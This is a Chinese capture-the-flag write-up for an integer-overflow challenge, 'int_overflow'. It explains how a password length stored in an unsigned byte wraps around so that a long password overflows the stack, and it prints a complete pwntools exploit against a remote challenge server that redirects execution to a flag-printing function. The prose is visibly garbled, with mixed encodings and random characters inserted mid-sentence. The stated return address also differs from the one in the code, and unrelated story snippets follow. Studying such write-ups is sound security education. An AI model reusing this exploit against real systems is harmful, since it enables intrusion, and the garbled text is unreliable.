int_overflow

image.png

0x00 filechecksec

image.png

0x01 ida查看

  • 有一個(gè)login函數(shù)芦劣,最后有一個(gè)校驗(yàn)密碼check_passwd函數(shù)
    image.png
  • 對(duì)密碼長(zhǎng)度進(jìn)行了校驗(yàn)倦畅,要求長(zhǎng)度>3并且<=8,但是這里使用的是unsigned __int8無(wú)符號(hào)類(lèi)型蒿赢,意思就是最大長(zhǎng)度是255个从,但是密碼輸入長(zhǎng)度是0x199u,所以存在一個(gè)溢出劈彪,只要輸入的密碼長(zhǎng)度超過(guò)255,在260-264之間即可
    image.png
  • 長(zhǎng)度檢查已經(jīng)繞過(guò)顶猜,那么怎么getshell或者拿到flag呢沧奴,查看ida,有一個(gè)what_is_this函數(shù)长窄,所以直接返回到0x0804848b即可
    image.png

0x02 完整exp

from pwn import *

local=0
pc='./int_overflow'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    #gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 31543]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    cat_flag_addr = 0x0804868b
    ru('choice:')
    sl('1')
    ru('username:\n')
    sl('cxy')
    ru('passwd:\n')
    passwd = 'a'*0x14
    passwd += 'fake'
    passwd += p32(cat_flag_addr)
    passwd += 'b'*232
    sl(passwd)
    p.interactive()

0x03 結(jié)果

image.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末滔吠,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子挠日,更是在濱河造成了極大的恐慌疮绷,老刑警劉巖,帶你破解...
    沈念sama閱讀 207,248評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件嚣潜,死亡現(xiàn)場(chǎng)離奇詭異口猜,居然都是意外死亡垫竞,警方通過(guò)查閱死者的電腦和手機(jī)瓦哎,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,681評(píng)論 2 381
  • 文/潘曉璐 我一進(jìn)店門(mén)茸习,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人犯犁,你說(shuō)我怎么就攤上這事属愤。” “怎么了酸役?”我有些...
    開(kāi)封第一講書(shū)人閱讀 153,443評(píng)論 0 344
  • 文/不壞的土叔 我叫張陵住诸,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我涣澡,道長(zhǎng)贱呐,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 55,475評(píng)論 1 279
  • 正文 為了忘掉前任入桂,我火速辦了婚禮奄薇,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘抗愁。我一直安慰自己馁蒂,他們只是感情好呵晚,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,458評(píng)論 5 374
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著沫屡,像睡著了一般饵隙。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上沮脖,一...
    開(kāi)封第一講書(shū)人閱讀 49,185評(píng)論 1 284
  • 那天金矛,我揣著相機(jī)與錄音,去河邊找鬼勺届。 笑死驶俊,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的涮因。 我是一名探鬼主播废睦,決...
    沈念sama閱讀 38,451評(píng)論 3 401
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼伺绽,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼养泡!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起奈应,我...
    開(kāi)封第一講書(shū)人閱讀 37,112評(píng)論 0 261
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤澜掩,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后杖挣,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體肩榕,經(jīng)...
    沈念sama閱讀 43,609評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,083評(píng)論 2 325
  • 正文 我和宋清朗相戀三年惩妇,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了株汉。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,163評(píng)論 1 334
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡歌殃,死狀恐怖乔妈,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情氓皱,我是刑警寧澤路召,帶...
    沈念sama閱讀 33,803評(píng)論 4 323
  • 正文 年R本政府宣布,位于F島的核電站波材,受9級(jí)特大地震影響股淡,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜廷区,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,357評(píng)論 3 307
  • 文/蒙蒙 一唯灵、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧隙轻,春花似錦埠帕、人聲如沸忌傻。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,357評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)水孩。三九已至,卻和暖如春琐驴,著一層夾襖步出監(jiān)牢的瞬間俘种,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,590評(píng)論 1 261
  • 我被黑心中介騙來(lái)泰國(guó)打工绝淡, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留宙刘,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 45,636評(píng)論 2 355
  • 正文 我出身青樓牢酵,卻偏偏與公主長(zhǎng)得像悬包,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子馍乙,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,925評(píng)論 2 344

推薦閱讀更多精彩內(nèi)容

  • 整數(shù)溢出題目布近,checksec 一波 可以進(jìn)行棧溢出,但是我們發(fā)現(xiàn)要到達(dá)溢出點(diǎn)要先繞過(guò)v3的檢測(cè)丝格,v3是輸入字符串...
    n0va閱讀 891評(píng)論 2 1
  • 1.檢查安全機(jī)制 2.找到溢出點(diǎn) 利用思路:有點(diǎn)不理解整數(shù)溢出 1.發(fā)現(xiàn)v3是8位無(wú)符號(hào)整數(shù)撑瞧,則最大只能是255。...
    Zero_0_0閱讀 576評(píng)論 0 1
  • 接下來(lái)我們看Base文件夾下的UIKIt文件夾的內(nèi)容显蝌。 1.UIColor+YYAdd 這里看了這個(gè)類(lèi)预伺,里面有許多...
    充滿活力的早晨閱讀 2,246評(píng)論 0 1
  • 恭喜恭喜! 新婚快樂(lè)!! 三年抱倆!! 知道你們結(jié)婚 特別特別開(kāi)心! 當(dāng)你們看到這個(gè) 我人生第一次做的簡(jiǎn)書(shū)的時(shí)候!...
    汪汪小超人閱讀 473評(píng)論 0 0
  • 在和姍成為好友之前,我一直不知道曼尊,女人還有第二張臉酬诀。 那天,她正在修指甲骆撇,涂指甲油瞒御,非常細(xì)心的樣子,我看她那一本正...
    舊事隨流水閱讀 325評(píng)論 0 4